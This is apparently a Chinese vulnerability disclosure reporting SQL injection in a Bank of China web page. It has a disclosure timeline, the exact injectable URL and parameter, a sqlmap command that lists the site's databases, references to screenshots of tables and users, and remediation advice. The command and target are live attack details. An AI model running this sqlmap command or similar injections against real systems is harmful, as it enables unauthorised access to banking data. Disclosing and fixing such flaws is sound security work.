漏洞详情

披露状态:

2014-09-17: 细节已通知厂商并且等待厂商处理中
2014-09-22: 厂商已经确认,细节仅向厂商公开
2014-10-02: 细节向核心白帽子及相关领域专家公开
2014-10-12: 细节向普通白帽子公开
2014-10-22: 细节向实习白帽子公开
2014-11-01: 细节向公众公开

简要描述:

欢迎新厂商- -!!

详细说明:

http、https协议都可注射。
注射点:https://e.boc.cn/ehome/SQISOFT/web/webNew/nWuguanIndex.aspx?WuguanId=EP0000000018
报错信息:

bc.jpg


sqlmap高级命令
sqlmap.py -u "https://e.boc.cn/ehome/SQISOFT/web/webNew/nWuguanIndex.aspx?WuguanId=EP0000000018" --dbs --level=1

1.jpg


影响数据库:

dbs.jpg


当前数据库“EINNER”共287个表:

b.jpg


受影响的系统用户:

yh.jpg


漏洞证明:

dbs.jpg


yh.jpg

修复方案:

构造SQL查询时,请使用参数化查询、验证输入对用户输入的数据进行全面安全检查或过滤,尤其注意检查是否包含HTML特殊字符。这些检查或过滤必须在服务器端完成,建议过滤的常见危险字符。

标签: none

评论已关闭